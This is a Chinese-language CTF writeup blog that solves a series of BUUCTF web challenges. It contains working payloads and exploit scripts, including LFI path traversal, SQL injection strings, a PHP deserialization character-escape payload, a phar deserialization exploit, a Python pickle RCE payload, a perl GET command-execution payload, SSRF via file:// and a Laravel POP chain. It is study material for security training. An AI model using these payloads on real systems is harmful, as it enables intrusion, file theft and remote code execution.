BUUCTF 刷题记录

前言

练习平台:BUUCTF

web部分会一直更,争取做一只合格的web狗 XD

0x00 [HCTF 2018]WarmUp

*考察点:phpmyadmin CVE-2018-12613 *

直接看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这里如果是研究过phpmyadminCVE-2018-12613,那么应该很熟悉hhh。

一个LFI,直接构造payload打一发,得到flag

payload:?file=source.php%253f/../../../../../../../ffffllllaaaagggg

0x01 [QWB 2019]随便注

考察点:堆叠注入

安全与开发缺一不可

测试的时候可以发现有严格的过滤,于是考虑堆叠注入。

知道是堆叠注入之后可以一路爆数据库名,表名,列名:flag in ctftraining --> FLAG_TABLE --> FLAG_COLUMN

关键是过滤了select,要如何读取字段的值呢?

注意我们一开始就有默认查询的words表,既然没有过滤alertrename,那我们是不是可以给表和列都改个名字,让程序默认查询FLAG_TABLE里的FLAG_COLUMN呢。

思路大概就是这样,今天又试了一下,不知道为啥把题目改挂了= =,等docker重置了再说吧。

0x02 [QWB 2019]高明的黑客

考察点:脚本批量搜索

也是QWB的题目,我们的目标就是找到一个webshell,然后读flag。

由于wtcl,这里先用@glzjin师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# 批量扫描测试$_GET和$_POST 找到含有有效传参点的文件
# 要开web服务
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/" # 文件夹目录
files = os.listdir(path) # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
f = open(path + "/" + file); # 打开文件
iter_f = iter(f); # 创建迭代器
str = ""
for line in iter_f: # 遍历文件,一行行遍历,读取文本
str = str + line

# 获取一个页面内所有参数
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1

params[var] = 'echo("glzjin");'

# print(var)

start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1

data[var] = 'echo("glzjin");'

# print(var)

# eval test
r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()

# assert test
for i in params:
params[i] = params[i][:-1]

for i in data:
data[i] = data[i][:-1]

r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()

# system test
for i in params:
params[i] = 'echo glzjin'

for i in data:
data[i] = 'echo glzjin'

r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()

# print("====================")

for file in files: # 遍历文件夹
if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开
# read_file(file)

pool.submit(read_file, file)

然后再本地开一个服务器,扫描后可以得到xk0SzyKwfzw.php存在传参点,审计一下可以找到Efa5BVG这个参数,最后传参读flag。

payload:/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

0x03 easy_tornado

考察点:SSTI、tornado附属文件

点开链接发现有三个文件,flag.txt里提示flag在/fllllllllllllag中;welcome.txt提示render()渲染函数,文件内容会直接显示在页面上;hints.txt提示我们访问的文件存在一个以文件名和密钥组成的签名认证,即:md5(cookie_secret+md5(filename))

这里刚开始以为是hash长度拓展攻击,想写脚本爆破cookie_secret长度,后来发现好像并没有太大关系= =。

知识盲区:在Error页面存在SSTItornado框架存在附属文件`handler.settings`

于是输入:?msg={ {handler.settings} }

得到cookie_secretM)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r

之后就是简单的字符串拼接和md5加密,不多赘述。

0x04 [0CTF]piapiapia

考察点:字符逃逸

打开链接,是一个登录页面,还有一张猫图:

猫图

直接登录会返回Invalid user name 或者 Invalid user name or password,看页面源码发现没东西,于是扫目录,发现www.zip里有源码,于是开始审计代码。

篇幅有限,只写下关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// profile.php 反序列化 =》任意文件读取
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);//反序列化?
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?> # 任意文件读取?

省略前面的登录部分,这里我们可以发现如果$profile['photo']可控的话,可以实现任意文件读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// update.php 控制$profile
<?php
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));//序列化
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
?>

跟进$profile,在update.php中,可以看到$profile除了$profile[photo]以外都是通过表单以POST形式传参,$profile[photo]传入的文件名被md5加密了而不可控(另外也考虑过上传webshell读flag,/upload直接禁止访问貌似没戏),那么我们继续跟进update_profile(),看看从序列化到反序列化中进行了什么操作。

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

我们发现$profile被fileter()过滤了一遍,再跟到fileter()看一看。

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

emmm乍看之下没有什么问题,我们分析一下最后一行:把$string(也就是$profile)中含有的$safe都换成’hacker’,这里的利用方法就很巧妙了。。。

1
2
3
4
5
6
7
8
// config.php **flag**
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

首先明确思路:flag在config.php中,如果可以通过profile.php中的反序列化覆盖$profile['photo']实现任意文件读取,flag就到手辣!

利用姿势

在过滤函数fiter()中,把序列化字符串中select、insert、update、delete、where都替换成hacker,如果稍微了解序列化原理就会发现问题,$safewhere的长度是5,而hacker的长度为6,这就会导致在替换之后,反序列化还原时产生截断,也就是hacker的最后一个字符'r'是不会被读取的,这就造成了字符逃逸。

正常语句:

a:4:{s:5:"phone";s:11:"12345678909";s:5:"email";s:16:"123123@gmail.com";s:8:"nickname";a:1:{i:0;s:12:"sketch_pl4ne";}s:5:"photo";s:10:"config.php";}

计算需要逃逸的字符数:

计算字符数

构造payload:

payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

抓包写入:

抓包写入

注意:这里是通过nickname来输入payload,但是nickname是有限制的,需要使用数组绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px"> <!--这里输出flag -->
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>

最后在profile.php页面的图片src属性解base64得到flag(这也是为什么一开始会想到文件包含)

flag

0x05 admin

考察点:Unicode安全

打开题目到处看,在修改密码页面发现源码泄露。

发现貌似是一个用python写的登录模块,在routes.py中我们发现问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data) # 将用户名转为小写
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first(): # 与原有用户名比较
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

注意到在注册时是先将用户名转小写,再与原用户名比较。也就是说,我们以Admin注册,相当于是以admin注册,再看更改密码函数:

1
2
3
4
5
6
7
8
9
10
11
12
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name']) # 更改密码会把用户名转换为小写
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data) # 重置小写用户名的密码(坏笑
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

那么如果我们能注册到一个Admin用户的话,是不是就可以通过更改密码选项来改管理员admin的密码?

这里我们需要了解Unicode安全。。

Unicode安全

博文讲解

按照文章所说,注册一个用户名为ᴬdmin的用户,再用更改密码重置admin的密码,最后登录即可获得flag。

flag

思考:如果admin的密码是上一个人重置的的话,很大的可能是弱密码,是不是可以考虑直接爆破 (弟弟行为

0x07 [CISCN 2019]Dropbox

考察点:phar://协议伪造其他文件绕过上传检测

参考文章:初探phar://

我们主要需要了解以下几点:

  • phar.phar文件的data数据是以序列化形式存储
  • 由于.phar文件通过stub(也就是"__HALT_COMPILER();?>")识别,对文件头以及后缀没有要求
  • phar.phar文件通过phar://可以读取

@glzin师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//1. 用这个构造一个 phar.phar
//2. 重命名为 phar.jpg,传上去
//3. POST 访问 /delete.php ,filename = phar://phar.jpg/exp.txt
//4. flag 到手~
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
}
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后访问抓包,filename改为:phar://phar.jpg/exp.txt即可得到flag:

flag

0x08 [CISCN 2019]ikun

考察点:python web 脚本编写与代码审计(反序列化)、审查元素、薅羊毛逻辑

打开题目,是一个ikun的粉丝应援团界面,按照惯例先探索一下功能。

界面

看到说要买到lv6的大会员,但是我们发现下面貌似没有lv6,而且总共有500页。

500页会员

一页一页找是不现实的,我们可以写一个小jio本,当出现lv6.png的时候就打印出page

1
2
3
4
5
6
7
8
9
# -- coding: utf-8 --
from urllib import request

url = "http://web44.buuoj.cn/shop?page="

for i in range(0, 500):
response = request.urlopen(url+str(i))
if "lv6.png" in response.read().decode('utf-8'):
print(i)

然后找到在第181页

181

然后购买,发现lv6很贵,买不起,但是审查元素的时候发现折扣和价格是以post的形式传参的,直接修改即可。

买买买

然后跳转到b1g_m4mber页面,提示只有admin可以访问,这里先尝试XFF未果,然后将目标转向cookie里的JWT字段。

JWT

JWT简介:JWT(json web token)是目前最流行的跨域身份验证解决方案。JWT结构会改对象为一个很长的字符串,字符之间通过”.”分隔符分为三个子串。每一个子串表示了一个功能块,总共有以下三个部分:JWT头、有效载荷和签名。其中签名通常需要指定一个密码。经过查阅资料以后了解到是一个储存在客户端的令牌,会不会是这里限制了我们的身份呢?我们把抓取到的jwt字段解码一下:

jwt解码

果然这里是我们自己的用户名,直接改成”admin”的话签名肯定是不对的,我们还需要知道加密密钥。

这里用Github上的一个工具破解出密钥:

1Kun

填入密钥,修改usernameadmin,加密得到JWT,替换原字段值即可以admin访问。

审查元素发现给出源码,python web蒟蒻一枚的我,只能看dalao的writeup,发现是python 反序列化,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become)) # 反序列化
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

我们发现p可以像’This is Black Technoloy!’一样打印在页面上,所以我们需要想办法让p里有flag,也就是become的传参是我们payload的输入点。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
# -- coding: utf-8 --
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将构造好的payload传入become,即可获得flag。

0x09 [ASIS 2019]Unicorn shop

考察点:Google Hacking、脑洞

页面有一个表单,分别是idprice两个参数,审查元素发现hint:

这里扫了目录,也人工fuzz了一下admin.password路径,没有源码泄露,猜测admin.password是注入时提示的数据库名、表名之类的?

于是抓包手工测试两个参数,发现price只能输入一个字符:

然后思路就断了,google一下,发现是unicode编码问题,我们要做的就是用一个字符买到超独角兽:

详情参考:unicorn shop (Github上的,不用fq

这个脑洞也就忍了,之前看到过,但是这几个蜜汁提示到底是什么意思?

google hacking很重要= =

0x0A [De1CTF 2019]SSRFme

考察点:代码审计,GET命令漏洞

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //XFF
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
?>

大致意思是以GET方式获取两个参数urlfilename,先创建一个沙盒,然后url与GET拼接执行命令;执行结果写入到filename中。

一直卡在拼接GET到底是要干什么,是要绕过还是什么;后面看wp发现它也是一条命令,而且还能够导致命令执行。

GET命令漏洞:

GET命令底层是perl中的open实现的,而open是可以执行命令的,并且还支持file协议。

所以我们的思路就是创建一个可以执行命令的文件名,然后用file协议读取文件。

payload:

1
2
?url=file:bash%20-c%20/readflag|&filename=test  // 创建文件
/sandbox/2658dbe3e5584a4654488ea0500255cc/test //hash值为 md5('orange'+'your_ip')

另外还有反弹shell的思路,有时间再补上吧= =

0x0B fakebook

考察点:SQLI + SSRF、反序列化

网鼎杯的一道原题

先注册一个账号,四处点一点,发现存在注入点:/view.php?no=1

爆表名、列名、列值

1
2
3
4
no=0 order by 1,2,3,4,5  /*4列*/
no=0 union/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database() /*users*/
no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' /*no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS */
no=0 union/**/select 1,group_concat(data),3,4 from users /*序列化字符串*/

观察一下这个序列化的字符串,是一个有姓名,年龄,博客的对象:

前面我们注意到users表是有四列的,最后一列是blog contents,审查元素发现有一个base64编码,根据经验flag可能从这里出。

扫描目录,发现robots.txt存在源码泄露,是users.php,审计一下发现存在SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init(); //初始化

curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //结果保留到字符串
$output = curl_exec($ch); //运行url,结果保存至 $output
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output; //返回url执行结果
}

public function getBlogContents ()
{
return $this->get($this->blog //url执行结果显示在 blog contents 下
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); //过滤
}

}

这样我们的思路就比较明确:user.php过滤了http协议,前面报错我们可以知道服务器的web绝对路径为/var/www/html,所以可以用file协议直接读取flag.php,构造查询语句时请求结果保存在blog contents中,即可读取flag

payload:no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:12:"sketch_pl4ne";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

flag

flag到手~

0x0C [CISCN 2019] laravel1

考察点:laravel代码审计,反序列化

laravel框架没了解过,也没审计过这么多文件,审计的时候也是一头雾水,写得不好还请见谅。

一开始提示了我们要用反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

顺便把源码下载下来,然后开始审计。

既然是要反序列化,那我们先搜索一下魔法函数__destruct()

发现有很多,这里貌似都是一个一个找的。。。 不过很多都是没有实现的空函数,我们一般会找有函数调用的地方,比如这个:

然后跟进commit()看一下:

继续跟进invalidateTags()

漏洞代码:

1
2
3
4
5
6
7
8
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}

这里的$this->pool是AdapterInterface类的一个对象,并且调用了saveDeferred()方法,我们可以查找既实现了AdapterInterface接口,同时saveDeferred()函数又可以利用的类,比如PhpArrayAdapter.php

跟进initialize()

发现存在文件包含,我们只需将$this->file重写为我们想读的文件即可。

这只是其中一个利用链,还有官方命令执行的做法可以看参考链接自行复现,下面是 tr1ple 师傅的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
// saveDeferred()方法所需参数为该类的对象
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
// 重写包含路径
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/etc/passwd';
}
}
// 重写$this->pool对象,调用PhpArrayAdapter类的saveDeferred()方法
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('tr1ple' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

flag到手

参考链接

CISCN final 几道题的总结 by tr1ple

小结

信安路上的小学生,努力做题ing : )

0%